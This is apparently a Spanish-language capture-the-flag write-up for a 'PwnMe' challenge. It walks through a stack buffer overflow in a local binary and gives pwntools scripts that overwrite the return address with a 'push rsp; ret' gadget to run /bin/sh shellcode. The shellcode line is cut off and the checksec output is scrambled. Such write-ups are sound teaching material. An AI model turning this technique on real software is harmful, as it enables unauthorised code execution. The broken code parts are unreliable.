PwnMe

Pwn me, if you can...

Reversing

Al decompilar el binario con ida podemos ver que la función main() declara un buffer de 64 bytes llamado username, luego de ello muestra un banner y llama a la función get_name() pasándole el buffer username como argumento.

La función <code>get_name()</code> muestra un mensaje el cual solicita que se introduzca el nombre, luego de ello utiliza <code>fgets()</code> para recibir una data en el buffer <code>username</code> a través del <code>stdin</code>, el problema es claro, recibe un máximo de <code>256</code> bytes cuando el buffer es de solo <code>64</code> lo cual ocasiona una vulnerabilidad de buffer overflow.

Exploitation

Iniciamos mirando las protecciones con checksec, éste binario no cuenta con ninguna por lo que explotarlo debería ser relativamente simple

```
user@Windows:~/pwnme/chall/src$ checksec chall
[*] '/home/user/pwnme/chall/src/chall'
                amd64-64-little
    Arch:
                Partial RELRO
    RELRO:
    Stack:
                NX unknown - GNU_STACK missing
    NX:
    PIE:
    Stack:
    RWX:
    SHSTK:
    IBT:
                Enabled
user@Windows:~/pwnme/chall/src$
```

Ya que conocemos la vulnerabilidad podemos intentar conseguir el offset para sobrescribir la función de retorno, esto es simple enviando como entrada un patrón cíclico, podemos hacerlo con pwntools automatizado en un script de python, al ejecutarlo corrompe el programa y podemos usar la misma herramienta para calcular la cantidad de basura necesaria antes de sobrescribir la dirección de retorno que en este binario son 72 bytes

```
#!/usr/bin/python3
from pwn import *

shell = gdb.debug("./chall", "continue")

payload = cyclic(100, n=8)

shell.sendlineafter(b": ", payload)
shell.interactive()
```

Entonces, si es correcto al enviar 72 A's, las siguientes 8 B's deberían sobrescribir la dirección de retorno y el resto de C's simplemente deberían guardarse en el stack

```
#!/usr/bin/python3
from pwn import *

shell = gdb.debug("./chall", "continue")

offset = 72
junk = b"A" * offset

payload = b""
payload += junk
payload += b"B" * 8
payload += b"C" * 40

shell.sendlineafter(b": ", payload)
shell.interactive()
```

Ya con el control de la dirección de retorno podemos usar un gadget que salte al registro rsp y como controlamos el stack podemos depositar ahí un shellcode para cuando salte éste sea ejecutado y nos devuelva una shell, éste gadget podemos encontrarlo utilizando ropper

Exploit

El exploit final es simple, rellena con A's el offset para sobrescribir la dirección de retorno, al retornar ejecutará un push rsp; ret; que ejecutará lo siguiente en el stack que en este caso es un shellcode que ejecutará una /bin/sh, al ejecutar el exploit podemos ver que nos devuelve una shell exitosamente

```
#!/usr/bin/python3
from pwn import *

shell = process("./chall")

shellcode = b"\x6a\x3b\x58\x99\x52\x5e\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\

offset = 72
junk = b"A" * offset

payload = b""
payload += junk
payload += p64(0x40126c) # push rsp; ret;
payload += shellcode

shell.sendlineafter(b": ", payload)
shell.interactive()
```